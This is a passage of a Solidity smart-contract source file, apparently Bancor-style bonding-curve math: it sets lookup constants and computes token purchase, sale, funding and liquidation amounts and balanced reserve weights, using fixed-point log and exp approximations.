0x548d868026504875d6e59bbe95fc2a6b; lambertArray[ 12] = 0x53a2465ce347cf34d05a867c17dd3088; lambertArray[ 13] = 0x52bdce5dcd4faed59c7f5511cf8f8acc; lambertArray[ 14] = 0x51dfcb453c07f8da817606e7885f7c3e; lambertArray[ 15] = 0x5107ef6b0a5a2be8f8ff15590daa3cce; lambertArray[ 16] = 0x5035f241d6eae0cd7bacba119993de7b; lambertArray[ 17] = 0x4f698fe90d5b53d532171e1210164c66; lambertArray[ 18] = 0x4ea288ca297a0e6a09a0eee240e16c85; lambertArray[ 19] = 0x4de0a13fdcf5d4213fc398ba6e3becde; lambertArray[ 20] = 0x4d23a145eef91fec06b06140804c4808; lambertArray[ 21] = 0x4c6b5430d4c1ee5526473db4ae0f11de; lambertArray[ 22] = 0x4bb7886c240562eba11f4963a53b4240; lambertArray[ 23] = 0x4b080f3f1cb491d2d521e0ea4583521e; lambertArray[ 24] = 0x4a5cbc96a05589cb4d86be1db3168364; lambertArray[ 25] = 0x49b566d40243517658d78c33162d6ece; lambertArray[ 26] = 0x4911e6a02e5507a30f947383fd9a3276; lambertArray[ 27] = 0x487216c2b31be4adc41db8a8d5cc0c88; lambertArray[ 28] = 0x47d5d3fc4a7a1b188cd3d788b5c5e9fc; lambertArray[ 29] = 0x473cfce4871a2c40bc4f9e1c32b955d0; lambertArray[ 30] = 0x46a771ca578ab878485810e285e31c67; lambertArray[ 31] = 0x4615149718aed4c258c373dc676aa72d; lambertArray[ 32] = 0x4585c8b3f8fe489c6e1833ca47871384; lambertArray[ 33] = 0x44f972f174e41e5efb7e9d63c29ce735; lambertArray[ 34] = 0x446ff970ba86d8b00beb05ecebf3c4dc; lambertArray[ 35] = 0x43e9438ec88971812d6f198b5ccaad96; lambertArray[ 36] = 0x436539d11ff7bea657aeddb394e809ef; lambertArray[ 37] = 0x42e3c5d3e5a913401d86f66db5d81c2c; lambertArray[ 38] = 0x4264d2395303070ea726cbe98df62174; lambertArray[ 39] = 0x41e84a9a593bb7194c3a6349ecae4eea; lambertArray[ 40] = 0x416e1b785d13eba07a08f3f18876a5ab; lambertArray[ 41] = 0x40f6322ff389d423ba9dd7e7e7b7e809; lambertArray[ 42] = 0x40807cec8a466880ecf4184545d240a4; lambertArray[ 43] = 0x400cea9ce88a8d3ae668e8ea0d9bf07f; lambertArray[ 44] = 0x3f9b6ae8772d4c55091e0ed7dfea0ac1; lambertArray[ 45] = 0x3f2bee253fd84594f54bcaafac383a13; lambertArray[ 46] = 0x3ebe654e95208bb9210c575c081c5958; lambertArray[ 47] = 0x3e52c1fc5665635b78ce1f05ad53c086; lambertArray[ 48] = 0x3de8f65ac388101ddf718a6f5c1eff65; lambertArray[ 49] = 0x3d80f522d59bd0b328ca012df4cd2d49; lambertArray[ 50] = 0x3d1ab193129ea72b23648a161163a85a; lambertArray[ 51] = 0x3cb61f68d32576c135b95cfb53f76d75; lambertArray[ 52] = 0x3c5332d9f1aae851a3619e77e4cc8473; lambertArray[ 53] = 0x3bf1e08edbe2aa109e1525f65759ef73; lambertArray[ 54] = 0x3b921d9cff13fa2c197746a3dfc4918f; lambertArray[ 55] = 0x3b33df818910bfc1a5aefb8f63ae2ac4; lambertArray[ 56] = 0x3ad71c1c77e34fa32a9f184967eccbf6; lambertArray[ 57] = 0x3a7bc9abf2c5bb53e2f7384a8a16521a; lambertArray[ 58] = 0x3a21dec7e76369783a68a0c6385a1c57; lambertArray[ 59] = 0x39c9525de6c9cdf7c1c157ca4a7a6ee3; lambertArray[ 60] = 0x39721bad3dc85d1240ff0190e0adaac3; lambertArray[ 61] = 0x391c324344d3248f0469eb28dd3d77e0; lambertArray[ 62] = 0x38c78df7e3c796279fb4ff84394ab3da; lambertArray[ 63] = 0x387426ea4638ae9aae08049d3554c20a; lambertArray[ 64] = 0x3821f57dbd2763256c1a99bbd2051378; lambertArray[ 65] = 0x37d0f256cb46a8c92ff62fbbef289698; lambertArray[ 66] = 0x37811658591ffc7abdd1feaf3cef9b73; lambertArray[ 67] = 0x37325aa10e9e82f7df0f380f7997154b; lambertArray[ 68] = 0x36e4b888cfb408d873b9a80d439311c6; lambertArray[ 69] = 0x3698299e59f4bb9de645fc9b08c64cca; lambertArray[ 70] = 0x364ca7a5012cb603023b57dd3ebfd50d; lambertArray[ 71] = 0x36022c928915b778ab1b06aaee7e61d4; lambertArray[ 72] = 0x35b8b28d1a73dc27500ffe35559cc028; lambertArray[ 73] = 0x357033e951fe250ec5eb4e60955132d7; lambertArray[ 74] = 0x3528ab2867934e3a21b5412e4c4f8881; lambertArray[ 75] = 0x34e212f66c55057f9676c80094a61d59; lambertArray[ 76] = 0x349c66289e5b3c4b540c24f42fa4b9bb; lambertArray[ 77] = 0x34579fbbd0c733a9c8d6af6b0f7d00f7; lambertArray[ 78] = 0x3413bad2e712288b924b5882b5b369bf; lambertArray[ 79] = 0x33d0b2b56286510ef730e213f71f12e9; lambertArray[ 80] = 0x338e82ce00e2496262c64457535ba1a1; lambertArray[ 81] = 0x334d26a96b373bb7c2f8ea1827f27a92; lambertArray[ 82] = 0x330c99f4f4211469e00b3e18c31475ea; lambertArray[ 83] = 0x32ccd87d6486094999c7d5e6f33237d8; lambertArray[ 84] = 0x328dde2dd617b6665a2e8556f250c1af; lambertArray[ 85] = 0x324fa70e9adc270f8262755af5a99af9; lambertArray[ 86] = 0x32122f443110611ca51040f41fa6e1e3; lambertArray[ 87] = 0x31d5730e42c0831482f0f1485c4263d8; lambertArray[ 88] = 0x31996ec6b07b4a83421b5ebc4ab4e1f1; lambertArray[ 89] = 0x315e1ee0a68ff46bb43ec2b85032e876; lambertArray[ 90] = 0x31237fe7bc4deacf6775b9efa1a145f8; lambertArray[ 91] = 0x30e98e7f1cc5a356e44627a6972ea2ff; lambertArray[ 92] = 0x30b04760b8917ec74205a3002650ec05; lambertArray[ 93] = 0x3077a75c803468e9132ce0cf3224241d; lambertArray[ 94] = 0x303fab57a6a275c36f19cda9bace667a; lambertArray[ 95] = 0x3008504beb8dcbd2cf3bc1f6d5a064f0; lambertArray[ 96] = 0x2fd19346ed17dac61219ce0c2c5ac4b0; lambertArray[ 97] = 0x2f9b7169808c324b5852fd3d54ba9714; lambertArray[ 98] = 0x2f65e7e711cf4b064eea9c08cbdad574; lambertArray[ 99] = 0x2f30f405093042ddff8a251b6bf6d103; lambertArray[100] = 0x2efc931a3750f2e8bfe323edfe037574; lambertArray[101] = 0x2ec8c28e46dbe56d98685278339400cb; lambertArray[102] = 0x2e957fd933c3926d8a599b602379b851; lambertArray[103] = 0x2e62c882c7c9ed4473412702f08ba0e5; lambertArray[104] = 0x2e309a221c12ba361e3ed695167feee2; lambertArray[105] = 0x2dfef25d1f865ae18dd07cfea4bcea10; lambertArray[106] = 0x2dcdcee821cdc80decc02c44344aeb31; lambertArray[107] = 0x2d9d2d8562b34944d0b201bb87260c83; lambertArray[108] = 0x2d6d0c04a5b62a2c42636308669b729a; lambertArray[109] = 0x2d3d6842c9a235517fc5a0332691528f; lambertArray[110] = 0x2d0e402963fe1ea2834abc408c437c10; lambertArray[111] = 0x2cdf91ae602647908aff975e4d6a2a8c; lambertArray[112] = 0x2cb15ad3a1eb65f6d74a75da09a1b6c5; lambertArray[113] = 0x2c8399a6ab8e9774d6fcff373d210727; lambertArray[114] = 0x2c564c4046f64edba6883ca06bbc4535; lambertArray[115] = 0x2c2970c431f952641e05cb493e23eed3; lambertArray[116] = 0x2bfd0560cd9eb14563bc7c0732856c18; lambertArray[117] = 0x2bd1084ed0332f7ff4150f9d0ef41a2c; lambertArray[118] = 0x2ba577d0fa1628b76d040b12a82492fb; lambertArray[119] = 0x2b7a5233cd21581e855e89dc2f1e8a92; lambertArray[120] = 0x2b4f95cd46904d05d72bdcde337d9cc7; lambertArray[121] = 0x2b2540fc9b4d9abba3faca6691914675; lambertArray[122] = 0x2afb5229f68d0830d8be8adb0a0db70f; lambertArray[123] = 0x2ad1c7c63a9b294c5bc73a3ba3ab7a2b; lambertArray[124] = 0x2aa8a04ac3cbe1ee1c9c86361465dbb8; lambertArray[125] = 0x2a7fda392d725a44a2c8aeb9ab35430d; lambertArray[126] = 0x2a57741b18cde618717792b4faa216db; lambertArray[127] = 0x2a2f6c81f5d84dd950a35626d6d5503a; } /** * @dev should be executed after construction (too large for the constructor) */ function init() public { initMaxExpArray(); initLambertArray(); } /** * @dev given a token supply, reserve balance, weight and a deposit amount (in the reserve token), * calculates the target amount for a given conversion (in the main token) * * Formula: * return = _supply * ((1 + _amount / _reserveBalance) ^ (_reserveWeight / 1000000) - 1) * * @param _supply smart token supply * @param _reserveBalance reserve balance * @param _reserveWeight reserve weight, represented in ppm (1-1000000) * @param _amount amount of reserve tokens to get the target amount for * * @return smart token amount */ function purchaseTargetAmount(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public override view returns (uint256) { // validate input require(_supply > 0, "ERR_INVALID_SUPPLY"); require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT"); // special case for 0 deposit amount if (_amount == 0) return 0; // special case if the weight = 100% if (_reserveWeight == MAX_WEIGHT) return _supply.mul(_amount) / _reserveBalance; uint256 result; uint8 precision; uint256 baseN = _amount.add(_reserveBalance); (result, precision) = power(baseN, _reserveBalance, _reserveWeight, MAX_WEIGHT); uint256 temp = _supply.mul(result) >> precision; return temp - _supply; } /** * @dev given a token supply, reserve balance, weight and a sell amount (in the main token), * calculates the target amount for a given conversion (in the reserve token) * * Formula: * return = _reserveBalance * (1 - (1 - _amount / _supply) ^ (1000000 / _reserveWeight)) * * @param _supply smart token supply * @param _reserveBalance reserve balance * @param _reserveWeight reserve weight, represented in ppm (1-1000000) * @param _amount amount of smart tokens to get the target amount for * * @return reserve token amount */ function saleTargetAmount(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public override view returns (uint256) { // validate input require(_supply > 0, "ERR_INVALID_SUPPLY"); require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT"); require(_amount <= _supply, "ERR_INVALID_AMOUNT"); // special case for 0 sell amount if (_amount == 0) return 0; // special case for selling the entire supply if (_amount == _supply) return _reserveBalance; // special case if the weight = 100% if (_reserveWeight == MAX_WEIGHT) return _reserveBalance.mul(_amount) / _supply; uint256 result; uint8 precision; uint256 baseD = _supply - _amount; (result, precision) = power(_supply, baseD, MAX_WEIGHT, _reserveWeight); uint256 temp1 = _reserveBalance.mul(result); uint256 temp2 = _reserveBalance << precision; return (temp1 - temp2) / result; } /** * @dev given two reserve balances/weights and a sell amount (in the first reserve token), * calculates the target amount for a conversion from the source reserve token to the target reserve token * * Formula: * return = _targetReserveBalance * (1 - (_sourceReserveBalance / (_sourceReserveBalance + _amount)) ^ (_sourceReserveWeight / _targetReserveWeight)) * * @param _sourceReserveBalance source reserve balance * @param _sourceReserveWeight source reserve weight, represented in ppm (1-1000000) * @param _targetReserveBalance target reserve balance * @param _targetReserveWeight target reserve weight, represented in ppm (1-1000000) * @param _amount source reserve amount * * @return target reserve amount */ function crossReserveTargetAmount(uint256 _sourceReserveBalance, uint32 _sourceReserveWeight, uint256 _targetReserveBalance, uint32 _targetReserveWeight, uint256 _amount) public override view returns (uint256) { // validate input require(_sourceReserveBalance > 0 && _targetReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_sourceReserveWeight > 0 && _sourceReserveWeight <= MAX_WEIGHT && _targetReserveWeight > 0 && _targetReserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT"); // special case for equal weights if (_sourceReserveWeight == _targetReserveWeight) return _targetReserveBalance.mul(_amount) / _sourceReserveBalance.add(_amount); uint256 result; uint8 precision; uint256 baseN = _sourceReserveBalance.add(_amount); (result, precision) = power(baseN, _sourceReserveBalance, _sourceReserveWeight, _targetReserveWeight); uint256 temp1 = _targetReserveBalance.mul(result); uint256 temp2 = _targetReserveBalance << precision; return (temp1 - temp2) / result; } /** * @dev given a smart token supply, reserve balance, reserve ratio and an amount of requested smart tokens, * calculates the amount of reserve tokens required for purchasing the given amount of smart tokens * * Formula: * return = _reserveBalance * (((_supply + _amount) / _supply) ^ (MAX_WEIGHT / _reserveRatio) - 1) * * @param _supply smart token supply * @param _reserveBalance reserve balance * @param _reserveRatio reserve ratio, represented in ppm (2-2000000) * @param _amount requested amount of smart tokens * * @return reserve token amount */ function fundCost(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public override view returns (uint256) { // validate input require(_supply > 0, "ERR_INVALID_SUPPLY"); require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2, "ERR_INVALID_RESERVE_RATIO"); // special case for 0 amount if (_amount == 0) return 0; // special case if the reserve ratio = 100% if (_reserveRatio == MAX_WEIGHT) return (_amount.mul(_reserveBalance) - 1) / _supply + 1; uint256 result; uint8 precision; uint256 baseN = _supply.add(_amount); (result, precision) = power(baseN, _supply, MAX_WEIGHT, _reserveRatio); uint256 temp = ((_reserveBalance.mul(result) - 1) >> precision) + 1; return temp - _reserveBalance; } /** * @dev given a smart token supply, reserve balance, reserve ratio and an amount of reserve tokens to fund with, * calculates the amount of smart tokens received for purchasing with the given amount of reserve tokens * * Formula: * return = _supply * ((_amount / _reserveBalance + 1) ^ (_reserveRatio / MAX_WEIGHT) - 1) * * @param _supply smart token supply * @param _reserveBalance reserve balance * @param _reserveRatio reserve ratio, represented in ppm (2-2000000) * @param _amount amount of reserve tokens to fund with * * @return smart token amount */ function fundSupplyAmount(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public override view returns (uint256) { // validate input require(_supply > 0, "ERR_INVALID_SUPPLY"); require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2, "ERR_INVALID_RESERVE_RATIO"); // special case for 0 amount if (_amount == 0) return 0; // special case if the reserve ratio = 100% if (_reserveRatio == MAX_WEIGHT) return _amount.mul(_supply) / _reserveBalance; uint256 result; uint8 precision; uint256 baseN = _reserveBalance.add(_amount); (result, precision) = power(baseN, _reserveBalance, _reserveRatio, MAX_WEIGHT); uint256 temp = _supply.mul(result) >> precision; return temp - _supply; } /** * @dev given a smart token supply, reserve balance, reserve ratio and an amount of smart tokens to liquidate, * calculates the amount of reserve tokens received for selling the given amount of smart tokens * * Formula: * return = _reserveBalance * (1 - ((_supply - _amount) / _supply) ^ (MAX_WEIGHT / _reserveRatio)) * * @param _supply smart token supply * @param _reserveBalance reserve balance * @param _reserveRatio reserve ratio, represented in ppm (2-2000000) * @param _amount amount of smart tokens to liquidate * * @return reserve token amount */ function liquidateReserveAmount(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public override view returns (uint256) { // validate input require(_supply > 0, "ERR_INVALID_SUPPLY"); require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2, "ERR_INVALID_RESERVE_RATIO"); require(_amount <= _supply, "ERR_INVALID_AMOUNT"); // special case for 0 amount if (_amount == 0) return 0; // special case for liquidating the entire supply if (_amount == _supply) return _reserveBalance; // special case if the reserve ratio = 100% if (_reserveRatio == MAX_WEIGHT) return _amount.mul(_reserveBalance) / _supply; uint256 result; uint8 precision; uint256 baseD = _supply - _amount; (result, precision) = power(_supply, baseD, MAX_WEIGHT, _reserveRatio); uint256 temp1 = _reserveBalance.mul(result); uint256 temp2 = _reserveBalance << precision; return (temp1 - temp2) / result; } /** * @dev The arbitrage incentive is to convert to the point where the on-chain price is equal to the off-chain price. * We want this operation to also impact the primary reserve balance becoming equal to the primary reserve staked balance. * In other words, we want the arbitrager to convert the difference between the reserve balance and the reserve staked balance. * * Formula input: * - let t denote the primary reserve token staked balance * - let s denote the primary reserve token balance * - let r denote the secondary reserve token balance * - let q denote the numerator of the rate between the tokens * - let p denote the denominator of the rate between the tokens * Where p primary tokens are equal to q secondary tokens * * Formula output: * - compute x = W(t / r * q / p * log(s / t)) / log(s / t) * - return x / (1 + x) as the weight of the primary reserve token * - return 1 / (1 + x) as the weight of the secondary reserve token * Where W is the Lambert W Function * * If the rate-provider provides the rates for a common unit, for example: * - P = 2 ==> 2 primary reserve tokens = 1 ether * - Q = 3 ==> 3 secondary reserve tokens = 1 ether * Then you can simply use p = P and q = Q * * If the rate-provider provides the rates for a single unit, for example: * - P = 2 ==> 1 primary reserve token = 2 ethers * - Q = 3 ==> 1 secondary reserve token = 3 ethers * Then you can simply use p = Q and q = P * * @param _primaryReserveStakedBalance the primary reserve token staked balance * @param _primaryReserveBalance the primary reserve token balance * @param _secondaryReserveBalance the secondary reserve token balance * @param _reserveRateNumerator the numerator of the rate between the tokens * @param _reserveRateDenominator the denominator of the rate between the tokens * * Note that `numerator / denominator` should represent the amount of secondary tokens equal to one primary token * * @return the weight of the primary reserve token and the weight of the secondary reserve token, both in ppm (0-1000000) */ function balancedWeights(uint256 _primaryReserveStakedBalance, uint256 _primaryReserveBalance, uint256 _secondaryReserveBalance, uint256 _reserveRateNumerator, uint256 _reserveRateDenominator) public override view returns (uint32, uint32) { if (_primaryReserveStakedBalance == _primaryReserveBalance) require(_primaryReserveStakedBalance > 0 || _secondaryReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); else require(_primaryReserveStakedBalance > 0 && _primaryReserveBalance > 0 && _secondaryReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveRateNumerator > 0 && _reserveRateDenominator > 0, "ERR_INVALID_RESERVE_RATE"); uint256 tq = _primaryReserveStakedBalance.mul(_reserveRateNumerator); uint256 rp = _secondaryReserveBalance.mul(_reserveRateDenominator); if (_primaryReserveStakedBalance < _primaryReserveBalance) return balancedWeightsByStake(_primaryReserveBalance, _primaryReserveStakedBalance, tq, rp, true); if (_primaryReserveStakedBalance > _primaryReserveBalance) return balancedWeightsByStake(_primaryReserveStakedBalance, _primaryReserveBalance, tq, rp, false); return normalizedWeights(tq, rp); } /** * @dev General Description: * Determine a value of precision. * Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision. * Return the result along with the precision used. * * Detailed Description: * Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)". * The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision". * The larger "precision" is, the more accurately this value represents the real value. * However, the larger "precision" is, the more bits are required in order to store this value. * And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x"). * This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)". * Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function. * This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations. * This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul". * Since we rely on unsigned-integer arithmetic and "base < 1" ==> "log(base) < 0", this function does not support "_baseN < _baseD". */ function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal view returns (uint256, uint8) { require(_baseN < MAX_NUM); uint256 baseLog; uint256 base = _baseN * FIXED_1 / _baseD; if (base < OPT_LOG_MAX_VAL) { baseLog = optimalLog(base); } else { baseLog = generalLog(base); } uint256 baseLogTimesExp = baseLog * _expN / _expD; if (baseLogTimesExp < OPT_EXP_MAX_VAL) { return (optimalExp(baseLogTimesExp), MAX_PRECISION); } else { uint8 precision = findPositionInMaxExpArray(baseLogTimesExp); return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision); } } /** * @dev computes log(x / FIXED_1) * FIXED_1. * This functions assumes that "x >= FIXED_1", because the output would be negative otherwise. */ function generalLog(uint256 x) internal pure returns (uint256) { uint256 res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = MAX_PRECISION; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += ONE << (i - 1); } } } return res * LN2_NUMERATOR / LN2_DENOMINATOR; } /** * @dev computes the largest integer smaller than or equal to the binary logarithm of the input. */ function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (ONE << s)) { _n >>= s; res |= s; } } } return res; } /** * @dev the global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent: * - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"] * - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"] */ function findPositionInMaxExpArray(uint256 _x) internal view returns (uint8) { uint8 lo = MIN_PRECISION; uint8 hi = MAX_PRECISION; while (lo + 1 < hi) { uint8 mid = (lo + hi) / 2; if (maxExpArray[mid] >= _x) lo = mid; else hi = mid; } if (maxExpArray[hi] >= _x) return hi; if (maxExpArray[lo] >= _x) return lo; require(false); } /** * @dev this function can be auto-generated by the script 'PrintFunctionGeneralExp.py'. * it approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!". * it returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy. * the global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1". * the maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)". */ function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) { uint256 xi = _x; uint256 res = 0; xi = (xi * _x) >> _precision; res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!) xi = (xi * _x) >> _precision; res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!) xi = (xi * _x) >> _precision; res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!) xi = (xi * _x) >> _precision; res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!) xi = (xi * _x) >> _precision; res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!) xi = (xi * _x) >> _precision; res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!) xi = (xi * _x) >> _precision; res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!) xi = (xi * _x) >> _precision; res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!) xi = (xi * _x) >> _precision; res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!) xi = (xi * _x) >> _precision; res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!) xi = (xi * _x) >> _precision; res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!) xi = (xi * _x) >> _precision; res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!) xi = (xi * _x) >> _precision; res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!) xi = (xi * _x) >> _precision; res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!) return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0! } /** * @dev computes log(x / FIXED_1) * FIXED_1 * Input range: FIXED_1 <= x <= OPT_LOG_MAX_VAL - 1 * Auto-generated via 'PrintFunctionOptimalLog.py' * Detailed description: * - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2 * - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent * - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1 * - The natural logarithm of the input is calculated by summing up the intermediate results above * - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859) */ function optimalLog(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; uint256 w; if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {res += 0x40000000000000000000000000000000; x = x * FIXED_1 / 0xd3094c70f034de4b96ff7d5b6f99fcd8;} // add 1 / 2^1 if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {res += 0x20000000000000000000000000000000; x = x * FIXED_1 / 0xa45af1e1f40c333b3de1db4dd55f29a7;} // add 1 / 2^2 if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {res += 0x10000000000000000000000000000000; x = x * FIXED_1 / 0x910b022db7ae67ce76b441c27035c6a1;} // add 1 / 2^3 if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {res += 0x08000000000000000000000000000000; x = x * FIXED_1 / 0x88415abbe9a76bead8d00cf112e4d4a8;} // add 1 / 2^4 if (x >= 0x84102b00893f64c705e841d5d4064bd3) {res += 0x04000000000000000000000000000000; x = x * FIXED_1 / 0x84102b00893f64c705e841d5d4064bd3;} // add 1 / 2^5 if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {res += 0x02000000000000000000000000000000; x = x * FIXED_1 / 0x8204055aaef1c8bd5c3259f4822735a2;} // add 1 / 2^6 if (x >= 0x810100ab00222d861931c15e39b44e99) {res += 0x01000000000000000000000000000000; x = x * FIXED_1 / 0x810100ab00222d861931c15e39b44e99;} // add 1 / 2^7 if (x >= 0x808040155aabbbe9451521693554f733) {res += 0x00800000000000000000000000000000; x = x * FIXED_1 / 0x808040155aabbbe9451521693554f733;} // add 1 / 2^8 z = y = x - FIXED_1; w = y * y / FIXED_1; res += z * (0x100000000000000000000000000000000 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_1; // add y^01 / 01 - y^02 / 02 res += z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x200000000000000000000000000000000; z = z * w / FIXED_1; // add y^03 / 03 - y^04 / 04 res += z * (0x099999999999999999999999999999999 - y) / 0x300000000000000000000000000000000; z = z * w / FIXED_1; // add y^05 / 05 - y^06 / 06 res += z * (0x092492492492492492492492492492492 - y) / 0x400000000000000000000000000000000; z = z * w / FIXED_1; // add y^07 / 07 - y^08 / 08 res += z * (0x08e38e38e38e38e38e38e38e38e38e38e - y) / 0x500000000000000000000000000000000; z = z * w / FIXED_1; // add y^09 / 09 - y^10 / 10 res += z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y) / 0x600000000000000000000000000000000; z = z * w / FIXED_1; // add y^11 / 11 - y^12 / 12 res += z * (0x089d89d89d89d89d89d89d89d89d89d89 - y) / 0x700000000000000000000000000000000; z = z * w / FIXED_1; // add y^13 / 13 - y^14 / 14 res += z * (0x088888888888888888888888888888888 - y) / 0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16 return res; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * 